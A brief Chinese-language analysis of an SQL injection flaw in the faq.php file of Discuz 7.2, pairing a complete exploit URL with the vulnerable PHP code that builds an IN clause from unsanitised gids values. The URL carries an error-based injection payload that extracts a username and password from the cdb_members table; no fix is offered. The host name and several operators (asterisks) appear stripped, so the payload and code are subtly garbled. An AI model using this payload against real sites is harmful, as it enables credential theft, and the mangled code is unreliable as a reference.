Discuz7.2版的faq.php SQL注入漏洞分析

https://.jb51./faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)%23

($action == 'grouppermission') {

...
        ksort($gids);
        $groupids = array();
        foreach($gids as $row) {
                $groupids[] = $row[0];
        }

        $query = $db->query("SELECT FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
...
}
function implodeids($array) {
        if(!empty($array)) {
                return "'".implode("','", is_array($array) ? $array : array($array))."'";
        } else {
                return '';
        }
}